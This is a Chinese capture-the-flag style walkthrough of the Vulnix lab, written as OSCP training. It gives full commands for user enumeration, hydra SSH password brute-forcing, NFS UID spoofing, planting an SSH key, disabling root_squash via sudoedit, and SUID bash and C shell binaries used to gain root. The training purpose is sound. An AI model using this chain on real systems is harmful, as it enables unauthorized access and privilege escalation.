简介
该项目是Reboot User作者精心制作的HackLAB项目系列环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。
该项目有始有终会用到 信息收集 -> 端口信息枚举 ->内网挂载 -> 提权 -> 拓展小技巧,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
1、nmap扫描存活IP
由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:
本机IP为:192.168.40.177。
发现本kali ip为40段!用40段进行全网段扫描:
nmap -sP 192.168.40.0/24
Nmap scan report for 192.168.40.188
发现项目IP地址:192.168.40.188。
2、nmap端口服务枚举
进行namp端口服务枚举:
nmap 192.168.40.188
得到开放的端口信息:
22/tcp open ssh --暴力破解 25/tcp open smtp --信息枚举用户 79/tcp open finger --信息枚举 110/tcp open pop3 111/tcp open rpcbind --信息枚举 143/tcp open imap 512/tcp open exec 513/tcp open login 514/tcp open shell 993/tcp open imaps 995/tcp open pop3s 2049/tcp open nfs --挂载
由上可知,ssh可以进行暴力破解,25(smtp)可以信息枚举用户、79(finger)是共享文件,也可以信息枚举,111(rpcbind)进行信息枚举, nfs是挂载服务
没有开启80端口,都是邮件、nfs挂在服务!先进行信息枚举!
二、端口信息枚举
1、SMTP信息枚举
SMTP是安全测试中比较常见的服务类型,其不安全的配置(未禁用某些命令)会导致用户枚举的问题,这主要是通过SMTP命令进行的。
参考:https://blog.csdn.net/weixin_30588907/article/details/94955805
1)安装smtp-user-enum枚举工具
apt install smtp-user-enum
安装完成!
2)利用smtp-user-enum枚举工具:
smtp-user-enum是使用Perl编写的工具,其原理就是通过命令枚举用户账户!
locate unix_use #查看unix_users.txt目录 smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.40.188 -M ---用于猜测用户名 EXPN、VRFY 或 RCPT 的方法(默认值:VRFY) -U ---通过 smtp 服务检查的用户名文件 -t ---host 服务器主机运行 smtp 服务
找到以上用户信息可利用。
将以上用户信息放入user文本中,等会利用
gedit user.txt
2、finger信息枚举
finger命令用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。
枚举root用户信息:
finger root@192.168.40.188
枚举user用户信息:
finger user@192.168.40.188
看到两个用户都是有效的,用户user具有dovenull 的登录名和名为Dovecot的名称,Dovecot是一个开源电子邮件服务器。
3、Finger-User-Enumeration工具利用
用户很多可以利用Finger-User-Enumeration工具,可以循环快速查看
下载地址:
git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git
配置.sh文件,将IP改为项目IP:
gedit finger_enum_user.sh
运行工具扫描下用户文本:
./finger_enum_user.sh user.txt
发现很多挂载目录,其中user用户是有问题的,接下来看下NFS信息情况!
4、NFS信息枚举
NFS权限工作原理:
NFS 通常与 Kerberos 配对以实现强大的身份验证机制,因为 NFS 本身仅根据用户的 UID/GID 对用户进行身份验证;这比适当的身份验证系统(如 kerberos)是非常不安全的。
一旦NFS文件系统被远程主机以读/写权限成功挂载,每个共享文件的唯一保护就是它的权限。此权限绑定到用户的用户 ID。如果共享相同用户ID的两个用户挂载相同的 NFS 文件系统,可以修改彼此的文件。这是NFS的一项功能,UID/GUID或用户名/组名用于识别和验证客户端;鉴于服务器没有Kerberos设置,因此只需找到经过身份验证以使用NFS的用户的UID和GUID(很可能是名为vulnix 的用户),并创建具有相同UID和GUID的用户。
但是没有目标中任何用户的UID或GID。这意味着目前无法访问 NFS 共享,即使挂载了该共享。
将在端口2049上进行NFS枚举!
找出项目挂载的目录:
showmount -e 192.168.40.188
看到挂载在vulnix目录里
接下来可以到vulnix安装文件夹进行共享,将远程共享文件装在本地kali上。
在kali上创建挂载vulnix目录
cd /tmp --tmp是存放共享数据的,所以放置tmp下 mkdir nfs ---创建个挂载目录nfs mount -t nfs 192.168.40.188:/home/vulnix /tmp/nfs ---挂载vulnix目录 cd nfs
发现 cd权限不够!
查看是否挂载成功
df
成功挂载至tmp/nfs下!
可以看出其实共享已经实现,估计设置了root_squash标志,只是不允许我们去访问,只允许指定的vulnix用户去访问
所以目前只允许vulnix用户登陆,并且得具有与目标上相同的id和gid!
5、ssh爆破
利用hydra爆破ssh账户密码:
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.40.188 ssh -t 4
发现ssh登录账户密码:
[22][ssh] host: 192.168.253.167 login: user password: letmein 账号:user 密码:letmein
三、内网挂载
1、ssh登录
运用账户密码登录ssh:
ssh user@192.168.40.188 letmein
成功登录user用户!
找下挂载服务用户权限:
cat /etc/passwd
登录发现vulnix权限为2008!
继续延伸挂载,先看下本地有无该账户
cat /ect/passwd| grep vulnix
本地没有vulnix用户,需要创建
2、创建vulnix用户
在本地kali加上这个账户权限:
cd /tmp useradd -u 2008 vulnix su vulnix cd /tmp/nfs ls -la
可以访问了,接下来直接ssh-keygen生成key进行!
3、ssh密匙技巧
本地获取ssh密匙:
ssh-keygen ---全部回车 cd /root/.ssh ---到ssh目录下 cat id_rsa.pub ---查看下公钥里面的值,并复制
获得密匙信息:
'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHDbZN/OOhQqi7OmkDp43vaeByAvfPhonACl8/BB84bFcFCtjIzifMZzOBKMGtvK6RMF2APluWgj5Btn349hReJxfygt/6zi45oM0y6cicb++CnweifPrB7CmPXz8KCnS7IKC8wOHSO0GpoQp/BzvkXZ0f/8VJGpq1EuDT4m8W6vg5D5ABFIM4vHmUA6C04xuvzVFfyelcSqbcDa3F91UxY+xKQMOuTFEtl2TOBeCs5zza1ZlOB1xp121+NhSzbXHgj1yiMTJngJba1rDZJFWe1Qdy20J7zLKuF/f5oplxyGPqSGmqtdYL7S8TkY67k/w92M2cRN4qe877uWU+J59aZ23COPbE7nCspmmUE/rdvwQoNLRvAPhES/fqrhID1me77Nm1u72AwWM7MKKylorrWCtYan4qFF7GEw8JQKBxk7wi7gRAJE9l821kYEgHOEhEarOko6zDoCk/fLIf2xq+aYN13qR02USNkEWaEhqvwE2A65D/C5wcTfWwQ6As2NU= root@kali'
在vulnix的nfs目录下创建:
cd /tmp/nfs mkdir .ssh #创建ssh文件,与本地同步目录地址 cd .ssh 进去后复制密匙写入挂载处输出至authorized_keys文件: echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHDbZN/OOhQqi7OmkDp43vaeByAvfPhonACl8/BB84bFcFCtjIzifMZzOBKMGtvK6RMF2APluWgj5Btn349hReJxfygt/6zi45oM0y6cicb++CnweifPrB7CmPXz8KCnS7IKC8wOHSO0GpoQp/BzvkXZ0f/8VJGpq1EuDT4m8W6vg5D5ABFIM4vHmUA6C04xuvzVFfyelcSqbcDa3F91UxY+xKQMOuTFEtl2TOBeCs5zza1ZlOB1xp121+NhSzbXHgj1yiMTJngJba1rDZJFWe1Qdy20J7zLKuF/f5oplxyGPqSGmqtdYL7S8TkY67k/w92M2cRN4qe877uWU+J59aZ23COPbE7nCspmmUE/rdvwQoNLRvAPhES/fqrhID1me77Nm1u72AwWM7MKKylorrWCtYan4qFF7GEw8JQKBxk7wi7gRAJE9l821kYEgHOEhEarOko6zDoCk/fLIf2xq+aYN13qR02USNkEWaEhqvwE2A65D/C5wcTfWwQ6As2NU= root@kali' > authorized_keys
查询下密匙是否成功写入:
ls -la cat authorized_keys --查看密匙是否一致
本地赋权登录,登录vulnix:
chmod 400 id_rsa ssh vulnix@192.168.40.188
成功登录!
四、提权
方法一:sudo提权
1、查看下sudo条件:
sudo -l
看到sudo提权,可以以root用户身份执行sudoedit /etc/exports,它是nfs挂载的配置文件,那就配置/etc/exports该文件,关闭其安全功能!
root_squash: 客户端的root用户映射到任何人:客户端无法使用setuid位将恶意软件留给他人执行。
no_root_squash:通过此选项,停用了此安全功能,从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中。
2、查看/etc/exports文件
cat /etc/exports
/home/vulnix *(rw,root_squash),给的是写读的权限,并开启了安全机制,将安全机制关闭
3、配置/etc/exports文件,允许root权限使用
sudoedit /etc/exports ---root权限编辑 no_root_squash Ctrl x y 保存退出
4、查看是否配置成功
cat /etc/exports
通过用no_root_squash替换root_squash来实现!
注意危害:
如果no_root_squash使用,远程 root 用户可以更改共享文件系统上的任何文件,并留下被木马感染的应用程序,让其他用户无意中执行。
5、然后重启项目靶机,让机制生效!
回到kali重新挂载:
df #查看挂载情况
挂载还在,需要删除,重新挂载。
修改好后down掉挂载:
umount /tmp/nfs ---全部挂载删除
记得退出vulnix用户,否则会报错
重新挂载:
mount -t nfs 192.168.40.188:/home/vulnix /tmp/nfs ---重新在挂在到nfs新目录下 df
挂载成功
登录vulnix查看版本
ssh vulnix@192.168.40.188 uname -a
因为kali是64位系统,而vulnix是32位系统,64位不能兼容32位系统文件,所以在vulnix产生32位文件,在到kali执行操作
但发现有权限进入nfs目录下了,因为关闭了安全机制
ls cd nfs
那么就有权限使用挂载功能,能同步创建文件
尝试在本地kali创建1文件,项目用户同步了该文件
mkdir 1 ls
那么我们就可以运用逆向思维,先在
1)在vulnix执行
利用nfs写入bash到靶机
cp /bin/bash . ls
生成了32位的文件
2)在kali执行
将bash输入至test文件,并赋权执行
cat bash > test chmod 4777 test ls -la
因为test是kali root权限下生成的文件夹,所以有权限执行
可以看到本地计算机的/bin/bash复制到/tmp/nfs并赋权
在vulnix执行test文件
./test -p id
成功获得root权限!
-p ---打开特权模式。在此模式下,不处理ENV和BASH_ENV文件,不从环境继承shell函数,并且如果 SHELLOPTS、BASHOPTS、CDPATH和GLOBIGNORE变量出现在环境中,它们将被忽略,如果shell不等于真实用户(组)id的有效用户(组)id就会启动,并且没有提供-p选项则执行这些操作并将有效用户id设置为真实用户ID。如果在启动时提供了-p选项,则不会重置有效的用户ID。关闭此选项会导致有效用户和组ID设置为真实用户和组ID。
6、获得flag
cd /root ls cat trophy.txt
获得flag:cc614640424f5bd60ce5d5264899c3be
方法二:挂载root,直接写入ssh-key登录ssh root
修改/etc/exports配置为/root:
sudoedit /etc/exports --这个地方修改为/root
然后保存重启环境!
看下root目录是否配置成功
showmount -e 192.168.40.188
成功!
然后进入root目录就行!
在kali挂载root目录下,获得flag:
mkdir nfs1 mount -t nfs 192.168.40.188:/root /tmp/nfs1 cd nfs1 cat trophy.txt
五、拓展小技巧
1、smtp群体枚举
1)MSF枚举
msfconsole search smtp use auxiliary/scanner/smtp/smtp_enum
配置IP并执行:
set rhosts 192.168.40.188 run
获得用户信息:
backup, bin, daemon, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data
速度就是比Finger-User-Enumeration工具慢些
2、rpcinfo信息枚举
利用服务rpcbind枚举信息
rpcinfo -p 192.168.40.188
可以看到开启了很多服务!
3、写shell技巧:C
在32位kali操作,重复之前的挂载操作
showmount -e 192.168.40.188 mkdir test mount -t nfs 192.168.40.188:/home/vulnix /tmp/test df
useradd -u 2008 vulnix -g vulnix su vulnix
ssh-keygen cd /root/.ssh cat id_rsa.pub chmod 400 id_rsa
因两个32位环境不兼容
写通用的shell.c,nano写入shell.c文件
ssh vulnix@192.168.40.188 nano shell.c Ctrl+x y保存退出
写入:
#include <stdlib.h> int main() { setuid(0); setgid(0); system("/bin/sh"); }
编译shell.c文件
gcc shell.c -o shell chmod 4777 shell
在vulnix执行:
./shell id
获得root权限
六、总结
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap信息枚举、STMP信息枚举、finger信息枚举、NFS信息枚举、ssh爆破、ssh密匙、挂载root、sudo提权、rpcinfo信息枚举、写入shell.c技巧等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
希望大家提高安全意识,没有网络安全就没有国家安全!
作者:十七
知识点总结:
1)通过telnet连接收集用户名敏感信息
2)finger查看用户登录信息
3)使用rpcinfo进行RPC枚举
4)使用showmount进行NFS枚举
5)hydra爆破ssh密码
6)ssh-key毒化攻击getshell
7)特定linux UID权限用户登录挂载的NFS分区
8)使用ssh私匙登录ssh
9)用no_root_squash替换root_squash以停用安全功能,从而允许客户端的root权限操作最终使文件以root身份出现在导出的文件系统中(在其余客户端中)
10)客户端本地以root身份运行cat命令拷贝shell文件,并chmod 4777赋予权限,最后执行shell文件加上-p参数提权
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)